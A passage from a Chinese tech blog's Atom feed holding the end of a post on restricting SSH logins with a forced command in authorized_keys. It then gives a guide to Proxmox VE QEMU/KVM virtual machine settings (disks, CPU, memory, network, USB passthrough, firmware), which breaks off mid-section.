&lt;li&gt;打开&lt;code&gt;~&#x2F;.ssh&#x2F;authorized_keys&lt;&#x2F;code&gt;，找到最后添加的公钥一行，在最前面加上&lt;code&gt;command=&quot;&#x2F;YourPath&#x2F;YourFile&quot;&lt;&#x2F;code&gt;，如：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;blockquote&gt;
&lt;p&gt;command=”&#x2F;usr&#x2F;hi.sh” ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAt0BETg9J6hZb5Kqxy+yfNtKHfwxUELz7PqGtGiM5eNb8DHC8kj02SCFoql5rpaecMGybWRiSK8&#x2F;k+EsK7TMgd4O+p6WkNyLD3WZrmVzUEPaxAdYf1eeCQooTJ+B1TKXDNlF9t8xTVsHd67HmPWYU6i3+kaDSX7cbrz2ds2zUGSozj1UQ8AJDJMbGOqpjs3nVh2EpSDgY7znqmUDnygVPiM4c3OfEzs5iCxVd4ggpPhH8d0bwy8RmPsooxJYUY4rE1C5iWCvB7P810yUFB0OilxiX9AfZa9shC3n5bqaX0ioY1eC44hFFPL602fJyKMj6w&#x2F;zxN5aIeFO03Sl9+FU4YQ== root@iZ23wan41azZmailto:root@iZ23wan41azZ&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;shou-wei-ji-ce-shi&quot;&gt;收尾及测试&lt;&#x2F;h3&gt;
&lt;ol&gt;
&lt;li&gt;重启sshd进程&lt;&#x2F;li&gt;
&lt;li&gt;在客户端上使用ssh进行连接：&lt;code&gt;ssh root@xx.xx.xx.xx -i &#x2F;YourPath&#x2F;YourPrivateKey&lt;&#x2F;code&gt;，如果嫌麻烦，也可以直接在客户端的.ssh文件夹下新建config配置文件，填写ssh主机的alias，这样就可以直接使用&lt;code&gt;ssh huigher&lt;&#x2F;code&gt;来进行连接了：
Host huigher
HostName 121.40.xxx.xxx
Port 22
User root
IdentityFile &#x2F;YourPath&#x2F;YourPrivateKey&lt;&#x2F;li&gt;
&lt;li&gt;配置完毕后的效果如下：
[root@test .ssh]# ssh huigher
This is huigher speaking
Now is Sat Oct 29 16:13:36 CST 2016
Connection to 121.40.xxx.xxx closed.&lt;&#x2F;li&gt;
&lt;li&gt;除了&lt;code&gt;command&lt;&#x2F;code&gt;以外的命令，是无法执行的，况且连交互式shell都没有，更别提执行命令了，所以安全性是比较高的。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;zui-hou&quot;&gt;最后&lt;&#x2F;h2&gt;
&lt;p&gt;本文撰写仓促，难免有错误和不足之处，若各位看官发现，请评论指出，不胜感激！&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao-zi-liao&quot;&gt;参考资料&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.novell.com&#x2F;support&#x2F;kb&#x2F;doc.php?id=7007565&quot;&gt;https:&#x2F;&#x2F;www.novell.com&#x2F;support&#x2F;kb&#x2F;doc.php?id=7007565&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;askubuntu.com&#x2F;questions&#x2F;449364&#x2F;what-does-without-password-mean-in-sshd-config-file&quot;&gt;http:&#x2F;&#x2F;askubuntu.com&#x2F;questions&#x2F;449364&#x2F;what-does-without-password-mean-in-sshd-config-file&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Proxmox VE QemuKVM 虚拟机设置要求</title>
        <published>2024-06-26T00:00:00+00:00</published>
        <updated>2024-06-26T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/proxmox-ve-qemukvm-虚拟机设置要求/"/>
        <id>https://vercel.juzhong.asia/obsidian/proxmox-ve-qemukvm-虚拟机设置要求/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/proxmox-ve-qemukvm-虚拟机设置要求/">&lt;h1 id=&quot;proxmox-ve-qemukvm-xu-ni-ji-she-zhi-yao-qiu&quot;&gt;Proxmox VE QemuKVM 虚拟机设置要求&lt;&#x2F;h1&gt;
&lt;p&gt;Qemu（Quick Emulator 的缩写）是一种模拟物理计算机的开源虚拟机管理程序。从运行 Qemu 的主机系统的角度来看，Qemu 是一个用户程序，它可以访问许多本地资源，如分区、文件、网卡，然后将这些资源传递给模拟计算机，模拟计算机将它们视为真实设备.&lt;&#x2F;p&gt;
&lt;p&gt;在模拟计算机中运行的来宾操作系统访问这些设备，并像在真实硬件上运行一样运行。例如，您可以将 ISO 映像作为参数传递给 Qemu，在模拟计算机中运行的操作系统将看到插入 CD 驱动器的真实 CD-ROM。&lt;&#x2F;p&gt;
&lt;p&gt;Qemu 可以模拟从 ARM 到 Sparc 的多种硬件，但 Proxmox VE 只关注 32 位和 64 位 PC 克隆模拟，因为它代表了绝大多数服务器硬件。由于处理器扩展的可用性，当模拟架构与主机架构相同时，PC 克隆的仿真也是最快的之一。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;您有时可能会遇到术语KVM（基于内核的虚拟机）。这意味着 Qemu 通过 Linux KVM 模块在虚拟化处理器扩展的支持下运行。在 Proxmox VE 的上下文中，Qemu和 KVM可以互换使用，因为 Proxmox VE 中的 Qemu 将始终尝试加载 KVM 模块。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;Proxmox VE 中的 Qemu 作为根进程运行，因为这是访问块和 PCI 设备所必需的。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-zhen-she-bei-he-ban-xu-ni-hua-she-bei&quot;&gt;仿真设备和半虚拟化设备&lt;&#x2F;h2&gt;
&lt;p&gt;Qemu 模拟的 PC 硬件包括主板、网络控制器、SCSI、IDE 和 SATA 控制器、串行端口（完整列表可以在kvm(1)手册页中看到），所有这些都在软件中进行了模拟。所有这些设备都是与现有硬件设备完全等效的软件，如果来宾中运行的操作系统具有适当的驱动程序，它将像在真实硬件上运行一样使用这些设备。这允许 Qemu 运行未经修改的操作系统。&lt;&#x2F;p&gt;
&lt;p&gt;然而，这会带来性能成本，因为在软件中运行本应在硬件中运行的内容涉及主机 CPU 的大量额外工作。为了缓解这种情况，Qemu 可以呈现给来宾操作系统半虚拟化设备，其中来宾操作系统识别出它在 Qemu 内部运行并与管理程序合作。&lt;&#x2F;p&gt;
&lt;p&gt;Qemu 依赖于 virtio 虚拟化标准，因此能够呈现半虚拟化 virtio 设备，其中包括半虚拟化通用磁盘控制器、半虚拟化网卡、半虚拟化串口、半虚拟化 SCSI 控制器等……&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;强烈建议您尽可能使用 virtio 设备，因为它们提供了很大的性能改进。使用 virtio 通用磁盘控制器与模拟 IDE 控制器相比，顺序写入吞吐量将增加一倍，如使用bonnie++(8)测量的那样。使用 virtio 网络接口可提供高达模拟 Intel E1000 网卡吞吐量的三倍，如使用iperf(1)测量。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xu-ni-ji-she-zhi&quot;&gt;虚拟机设置&lt;&#x2F;h2&gt;
&lt;p&gt;一般来说，Proxmox VE 尝试为虚拟机 (VM) 选择合理的默认值。确保您了解您更改的设置的含义，因为它可能会导致性能下降或将您的数据置于危险之中。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;tong-yong-she-zhi&quot;&gt;通用设置&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;proxmox-ve-vm&#x2F;proxmox-vm-general-settings.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;虚拟机的一般设置包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;节点：在此物理服务器上虚拟机将运行&lt;&#x2F;li&gt;
&lt;li&gt;VM ID：Proxmox VE中一个唯一的编号，用于识别您的VM&lt;&#x2F;li&gt;
&lt;li&gt;名称：可用于描述 VM 的自由格式文本字符串&lt;&#x2F;li&gt;
&lt;li&gt;资源池：VM 的逻辑组&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;cao-zuo-xi-tong-she-zhi&quot;&gt;操作系统设置&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;proxmox-ve-vm&#x2F;proxmox-vm-os-settings.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;在创建虚拟机 (VM) 时，设置适当的操作系统 (OS) 允许 Proxmox VE 优化一些低级参数。例如，Windows 操作系统期望 BIOS 时钟使用本地时间，而基于 Unix 的操作系统期望 BIOS 时钟具有 UTC 时间。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xi-tong-she-zhi&quot;&gt;系统设置&lt;&#x2F;h2&gt;
&lt;p&gt;创建 VM 时，您可以更改新 VM 的一些基本系统组件。您可以指定要使用的显示类型。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;proxmox-ve-vm&#x2F;proxmox-vm-system-settings.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;此外，可以更改SCSI 控制器。如果您打算安装 QEMU 访客代理，或者您选择的 ISO 映像已经提供并自动安装，您可能需要勾选Qemu 代理框，这让 Proxmox VE 知道它可以使用其功能来显示更多信息，并更智能地完成一些操作（例如，关机或快照）。&lt;&#x2F;p&gt;
&lt;p&gt;Proxmox VE 允许启动具有不同固件和机器类型的 VM，即 SeaBIOS 和 OVMF。在大多数情况下，只有当您计划使用 PCIe pass through 时，您才希望从默认的 SeaBIOS 切换到 OVMF 。VM机器类型定义了 VM 的虚拟主板的硬件布局。您可以选择默认的 Intel 440FX 或 Q35 芯片组，后者还提供虚拟 PCIe 总线，因此如果想要直通 PCIe 硬件，可能需要。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ying-pan&quot;&gt;硬盘&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;proxmox-ve-vm&#x2F;proxmox-disk-bus-controller.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-xian-kong-zhi-qi&quot;&gt;总线&#x2F;控制器&lt;&#x2F;h3&gt;
&lt;p&gt;Qemu 可以模拟许多存储控制器：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;IDE控制器，有一个设计可以追溯到1984年的PC&#x2F;AT磁盘控制器。即使此控制器已被最近的设计所取代，您能想到的每个操作系统都支持它，如果您想运行 2003 年之前发布的操作系统，它是一个不错的选择。 &lt;strong&gt;您最多可以在此控制器上连接 4 个设备.&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;2003 年推出的 SATA（串行 ATA）控制器采用更现代的设计，允许更高的吞吐量和更多数量的设备连接。&lt;strong&gt;您最多可以在此控制器上连接 6 个设备。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;li&gt;SCSI 控制器，在1985年设计的，&lt;strong&gt;在服务器级硬件通常发现，并且最多可连接14个存储装置。&lt;&#x2F;strong&gt;  Proxmox VE 默认模拟 LSI 53C895A 控制器。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;如果您的目标是性能，则推荐使用 VirtIO SCSI 类型的 SCSI 控制器，并且自 Proxmox VE 4.3 以来，它会自动为新创建的 Linux VM 选择。&lt;&#x2F;strong&gt;  Linux 发行版自 2012 年起支持此控制器，自 2014 年起支持 FreeBSD。&lt;strong&gt;对于 Windows 操作系统，您需要在安装过程中提供包含驱动程序的额外iso。&lt;&#x2F;strong&gt;  如果您的目标是最高性能，您可以选择 VirtIO SCSI single 类型的 SCSI 控制器， 这将允许您选择 IO 线程选项。选择 Virtio SCSI single 时，单个 QEMU 将为每个磁盘创建一个新的控制器，而不是将所有磁盘添加到同一控制器。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;VirtIO Block 控制器，通常被叫做为 Virtio 或 virtio-BLK，都是老式的半虚拟化控制器。&lt;strong&gt;在功能方面，它已被 VirtIO SCSI 控制器取代。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;jing-xiang-ge-shi&quot;&gt;镜像格式&lt;&#x2F;h3&gt;
&lt;p&gt;在每个控制器上，您连接了许多模拟硬盘，这些硬盘由驻留在配置存储中的文件或块设备支持。存储类型的选择将决定硬盘映像的格式。呈现块设备的存储（LVM、ZFS、Ceph）将需要原始磁盘映像格式，而基于文件的存储（Ext4、NFS、CIFS、GlusterFS）将允许您选择原始磁盘映像格式或 QEMU 映像格式。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;QEMU镜像格式（例如：qcow2）是写时复制的，其允许快照，以及磁盘映像的精简配置。&lt;&#x2F;li&gt;
&lt;li&gt;原始磁盘映像（例如：raw）是硬盘，类似于执行时，你会得到什么样的位，以位图像DD在Linux的块设备上的命令。此格式本身不支持自动精简配置或快照，需要存储层配合完成这些任务。然而，它可能比QEMU镜像格式快10%。&lt;&#x2F;li&gt;
&lt;li&gt;VMware的镜像格式（vmdk），如果要导入&#x2F;导出磁盘映像到其他虚拟机管理程序才有意义。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h3 id=&quot;huan-cun-mo-shi&quot;&gt;缓存模式&lt;&#x2F;h3&gt;
&lt;p&gt;设置硬盘驱动器的缓存模式将影响主机系统如何将块写入完成通知来宾系统。默认方式是没有高速缓存，客户系统会通知写入完成后，每个块到达物理存储写入队列，忽略主机页面缓存。这在安全性和速度之间提供了良好的平衡。&lt;&#x2F;p&gt;
&lt;p&gt;如果您希望 Proxmox VE 备份管理器在备份 VM 时跳过磁盘，您可以在该磁盘上设置无备份选项。默认设置是备份VM时同时备份磁盘。&lt;&#x2F;p&gt;
&lt;p&gt;如果您希望 Proxmox VE 存储复制机制在启动复制作业时跳过磁盘，您可以在该磁盘上设置跳过复制选项。&lt;strong&gt;从 Proxmox VE 5.0 开始，复制要求磁盘映像位于zfspool类型的存储上 ，因此当 VM 配置了复制时，将磁盘映像添加到其他存储需要跳过此磁盘映像的复制。&lt;&#x2F;strong&gt; 默认设置是复制时不跳过磁盘。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xiu-jian-diu-qi&quot;&gt;修剪&#x2F;丢弃&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;如果您的存储支持精简配置（请参阅 Proxmox VE 指南中的存储章节），您可以激活驱动器上的丢弃选项。&lt;&#x2F;strong&gt; 使用Discard set 和启用TRIM 的来宾操作系统[ 30 ]，当 VM 的文件系统在删除文件后将块标记为未使用时，控制器会将此信息转发到存储，然后存储将相应地缩小磁盘映像。为了让来宾能够发出TRIM命令，您必须在驱动器上启用Discard选项。某些客户操作系统可能还需要设置 SSD 仿真标志。需要注意的是丢弃的 VirtIO Block 只有使用 Linux 内核 5.0 或更高版本的来宾才支持驱动器。&lt;&#x2F;p&gt;
&lt;p&gt;如果您希望将驱动器作为固态驱动器而不是机械硬盘呈现给来宾，您可以在该驱动器上设置 SSD 仿真选项。不要求底层存储实际上由 SSD 支持；此功能可用于任何类型的物理媒介。请注意，VirtIO Block 驱动器不支持 SSD 仿真。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ioxian-cheng&quot;&gt;IO线程&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;strong&gt;选项 IO Thread 只能在将磁盘与VirtIO控制器或SCSI控制器一起使用时使用 ，当仿真控制器类型为 VirtIO SCSI single 时。启用此功能后，Qemu 会为每个存储控制器创建一个 I&#x2F;O 线程，而不是为所有 I&#x2F;O 创建一个线程。当使用多个磁盘并且每个磁盘都有自己的存储控制器时，这可以提高性能。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zhong-yang-chu-li-qi&quot;&gt;中央处理器&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;proxmox-ve-vm&#x2F;proxmox-vm-cpu-settings.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;一个CPU插座是PC主板，你可以插入一个CPU上的物理插槽。然后，该 CPU 可以包含一个或多个内核，这些内核是独立的处理单元。从性能的角度来看，无论您是拥有单个 4 核 CPU 插槽还是两个具有两个核心的 CPU 插槽，几乎都无关紧要。但是，某些软件许可证取决于机器拥有的插槽数，在这种情况下，将插槽数设置为许可证允许的数量是有意义的。&lt;&#x2F;p&gt;
&lt;p&gt;增加虚拟 CPU（核心和插槽）的数量通常会提高性能，尽管这在很大程度上取决于 VM 的使用。多线程应用程序当然会受益于大量的虚拟 CPU，对于您添加的每个虚拟 CPU，Qemu 将在主机系统上创建一个新的执行线程。如果您不确定 VM 的工作负载，通常将总内核数设置为 2 是一个安全的选择。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;如果所有 VM的总内核数大于服务器上的内核数（例如，在只有 8 个内核的机器上有 4 个 VM，每 VM 4 个内核），这是完全安全的。在这种情况下，主机系统将平衡服务器内核之间的 Qemu 执行线程，就像您正在运行标准的多线程应用程序一样。但是，Proxmox VE 会阻止您启动虚拟 CPU 内核多于物理可用内核的 VM，因为这只会由于上下文切换的成本而降低性能。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h3 id=&quot;zi-yuan-xian-zhi&quot;&gt;资源限制&lt;&#x2F;h3&gt;
&lt;p&gt;除了虚拟内核的数量之外，您还可以配置一个虚拟机可以获得多少与主机 CPU 时间以及其他虚拟机相关的资源。使用cpulimit（“主机 CPU 时间”）选项，您可以限制整个 VM 在主机上可以使用的 CPU 时间。它是一个浮点值，以百分比表示 CPU 时间，因此1.0等于100%，2.5到250%等等。如果单个进程将完全使用一个单核，则CPU 时间使用率为 100%。如果具有四个内核的 VM 充分利用其所有内核，则理论上将使用400%. 实际上，使用率甚至可能更高一些，因为除了 vCPU 核心线程之外，Qemu 还可以为 VM 外围设备提供额外的线程。如果 VM 应该有多个 vCPU，则此设置很有用，因为它并行运行几个进程，但整个 VM 不应能够同时 100% 运行所有 vCPU。举一个具体的例子：假设我们有一个虚拟机，它可以从拥有 8 个 vCPU 中受益，但是这 8 个核心在任何时候都不应全负载运行 - 因为这会使服务器超载，以至于其他虚拟机和 CT 将无法更少的 CPU。因此，我们将cpulimit限制设置为 4.0 (=400%)。如果所有内核都做同样繁重的工作，它们都将获得 50% 的真实主机内核 CPU 时间。但是，如果只有 4 个可以工作，他们每个人仍然可以获得几乎 100% 的真实内核。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;VM 可以根据其配置使用额外的线程，例如用于网络或 IO 操作以及实时迁移。因此，VM 可能会使用比其虚拟 CPU 所能使用的更多的 CPU 时间。为确保 VM 使用的 CPU 时间永远不会超过分配的虚拟 CPU，请将cpulimit设置设置为与总内核数相同的值。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;第二个 CPU 资源限制设置cpuunits（现在通常称为 CPU 份额或 CPU 权重）控制 VM 相对于其他正在运行的 VM 获得的 CPU 时间。这是一个相对权重，默认为1024，如果您为 VM 增加此值，调度程序将优先考虑与其他权重较低的 VM 相比。例如，如果 VM 100 已设置默认值 1024 并且 VM 200 更改为2048，则后一个 VM 200 将获得两倍于第一个 VM 100 的 CPU 带宽。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cpulei-xing&quot;&gt;CPU类型&lt;&#x2F;h3&gt;
&lt;p&gt;Qemu 可以模拟从 486 到最新的 Xeon 处理器的多种不同CPU 类型。每代新处理器都会增加新功能，例如硬件辅助 3D 渲染、随机数生成、内存保护等……功能（也称为CPU 标志）将在您的 VM 中可用。如果您想要完全匹配，您可以将 CPU 类型设置为 host，在这种情况下，VM 将具有与您的主机系统完全相同的 CPU 标志。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;但这有一个缺点。如果您想在不同主机之间进行 VM 的实时迁移，您的 VM 可能会在具有不同 CPU 类型的新系统上结束。如果传递给来宾的 CPU 标志丢失，qemu 进程将停止。为了解决这个问题，Qemu 也有自己的 CPU 类型 kvm64，Proxmox VE 默认使用它。kvm64 看起来很像 Pentium 4 CPU 类型，它设置了减少的 CPU 标志，但保证可以在任何地方工作。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;简而言之，如果您关心节点之间的实时迁移和移动虚拟机，请保留 kvm64 默认值。如果您不关心实时迁移或拥有所有节点都具有相同 CPU 的同构集群，请将 CPU 类型设置为 host，因为理论上这将为您的来宾提供最大性能。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;nei-cun&quot;&gt;内存&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;proxmox-ve-vm&#x2F;proxmox-vm-memory-setting.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;当将内存和最小内存设置为相同数量时，Proxmox VE 将简单地将您指定的内容分配给您的 VM。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;为 VM 分配 RAM 时，一个好的经验法则是始终为主机留出 1GB 的 RAM。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;wang-luo-she-bei&quot;&gt;网络设备&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;proxmox-ve-vm&#x2F;proxmox-vm-nic-types.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;每个 VM 可以有许多网络接口控制器(NIC)，有四种不同类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Intel E1000 是默认设置，模拟 Intel 千兆网卡。&lt;&#x2F;li&gt;
&lt;li&gt;Virtio 半虚拟化，如果你的目标是获得最大性能NIC应该使用此类型。像所有 VirtIO 设备一样，客户操作系统应该安装了正确的驱动程序。&lt;&#x2F;li&gt;
&lt;li&gt;在瑞昱8139模拟一个较旧的100 MB&#x2F;s的网卡，只应模拟旧版操作系统时使用（2002年之前发布）&lt;&#x2F;li&gt;
&lt;li&gt;VMware VMXNET3是另一个半虚拟化设备，从另一个VMware管理程序导入VM时，才应使用。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Proxmox VE 将为每个 NIC 生成一个随机MAC 地址，以便您的 VM 可在以太网网络上寻址。&lt;&#x2F;p&gt;
&lt;p&gt;您添加到 VM 的 NIC 可以遵循以下两种不同模型之一：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在默认的桥接模式下，每个虚拟 NIC 都由一个Tap 设备（模拟以太网 NIC 的软件环回设备）支持在主机上 。这个 tap 设备被添加到一个网桥，默认情况下 Proxmox VE 中的 vmbr0。在这种模式下，VM 可以直接访问主机所在的以太网 LAN。&lt;&#x2F;li&gt;
&lt;li&gt;在备用NAT 模式下，每个虚拟 NIC 将仅与 Qemu 用户网络堆栈通信，其中内置路由器和 DHCP 服务器可以提供网络访问。此内置 DHCP 将为私有 10.0.2.0&#x2F;24 范围内的地址提供服务。&lt;strong&gt;NAT 模式比桥接模式慢得多，只能用于测试。此模式仅可通过 CLI 或 API 使用，而不能通过 WebUI 使用。&lt;&#x2F;strong&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;您还可以通过选择 No network device 在创建 VM 时跳过添加网络设备。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;multiqueue&quot;&gt;Multiqueue&lt;&#x2F;h3&gt;
&lt;p&gt;如果您使用的是 VirtIO 驱动程序，您可以选择激活 Multiqueue选项。此选项允许来宾操作系统使用多个虚拟 CPU 处理网络数据包，从而增加传输的数据包总数。&lt;&#x2F;p&gt;
&lt;p&gt;在 Proxmox VE 中使用 VirtIO 驱动程序时，每个 NIC 网络队列都被传递到主机内核，在那里队列将由 vhost 驱动程序产生的内核线程处理。激活此选项后，可以将多个 网络队列传递给每个 NIC 的主机内核。&lt;&#x2F;p&gt;
&lt;p&gt;使用 Multiqueue 时，建议将其设置为等于来宾的 Total Cores 数的值。您还需要使用 ethtool 命令在 VM 中设置每个 VirtIO NIC 上的多用途通道数：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;undefined&quot; class=&quot;language-undefined &quot;&gt;&lt;code class=&quot;language-undefined&quot; data-lang=&quot;undefined&quot;&gt;ethtool -L ens1 combined X
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 X 是 VM 的 vcpus 数量。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;您应该注意，将 Multiqueue 参数设置为大于 1 的值会随着流量的增加而增加主机和来宾系统上的 CPU 负载。我们建议仅当 VM 必须处理大量传入连接时才设置此选项，例如当 VM 作为路由器、反向代理或繁忙的 HTTP 服务器执行长轮询时。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;usbzhi-tong&quot;&gt;USB直通&lt;&#x2F;h2&gt;
&lt;p&gt;USB 直通设备有两种不同类型：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;主机 USB 直通&lt;&#x2F;li&gt;
&lt;li&gt;SPICE USB 直通&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;主机 USB 直通通过为 VM 提供主机的 USB 设备来工作。这可以通过供应商和设备 ID 或通过主机总线和端口来完成。&lt;&#x2F;p&gt;
&lt;p&gt;供应商&#x2F;设备 ID 如下所示：0123:abcd，其中0123是供应商的 id，abcd是设备的 id，这意味着同一 USB 设备的两个部分具有相同的 id。&lt;&#x2F;p&gt;
&lt;p&gt;总线&#x2F;端口如下所示：1-2.3.4，其中1是总线，2.3.4是端口路径。这代表主机的物理端口（取决于 USB 控制器的内部顺序）。&lt;&#x2F;p&gt;
&lt;p&gt;如果 VM 启动时 VM 配置中存在设备，但主机中不存在该设备，则 VM 可以毫无问题地启动。一旦设备&#x2F;端口在主机中可用，它就会通过。&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;使用这种 USB 直通意味着您无法将 VM 联机移动到另一台主机，因为硬件仅在 VM 当前所在的主机上可用。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;第二种直通类型是 SPICE USB 直通。如果您使用支持它的 SPICE 客户端，这将非常有用。如果向 VM 添加 SPICE USB 端口，则可以将 SPICE 客户端所在的 USB 设备直接传递到 VM（例如输入设备或硬件加密狗）。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;bios-he-uefi&quot;&gt;BIOS 和 UEFI&lt;&#x2F;h2&gt;
&lt;p&gt;为了正确模拟计算机，QEMU 需要使用固件。这在通常称为 BIOS 或 (U)EFI 的普通 PC 上作为启动 VM 时的第一步执行。它负责进行基本的硬件初始化，并为操作系统提供固件和硬件的接口。&lt;strong&gt;默认情况下，QEMU为此使用SeaBIOS，这是一个开源的 x86 BIOS 实现。SeaBIOS 是大多数标准设置的不错选择。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;然而，在某些情况下，BIOS 不是一个好的启动固件，例如，如果您想进行 VGA 直通。在这种情况下，您应该使用OVMF，这是一种开源 UEFI 实现。&lt;&#x2F;p&gt;
&lt;p&gt;如果要使用 OVMF，需要考虑以下几点：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;为了保存引导顺序之类的内容，需要一个 EFI 磁盘。此磁盘将包含在备份和快照中，并且只能存在一个。&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;您可以使用以下命令创建这样的磁盘：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;xml&quot; class=&quot;language-xml &quot;&gt;&lt;code class=&quot;language-xml&quot; data-lang=&quot;xml&quot;&gt;qm set &amp;lt;vmid&amp;gt; -efidisk0 &amp;lt;storage&amp;gt;:1,format=&amp;lt;format&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中，是您要放置磁盘的存储， 是存储支持的格式。或者，您可以使用虚拟机硬件部分中的添加→ EFI 磁盘通过 Web 界面创建此类磁盘。&lt;&#x2F;p&gt;
&lt;p&gt;将 OVMF 与虚拟显示器（无 VGA 直通）一起使用时，您需要在 OVMF 菜单中设置客户端分辨率（启动时按 ESC 按钮即可到达），或者您必须选择 SPICE 作为显示类型.&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yin-pin-she-bei&quot;&gt;音频设备&lt;&#x2F;h2&gt;
&lt;p&gt;要添加音频设备，请运行以下命令：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;qm set &amp;lt;vmid&amp;gt; -audio0 device=&amp;lt;device&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;支持的音频设备有：&lt;&#x2F;p&gt;
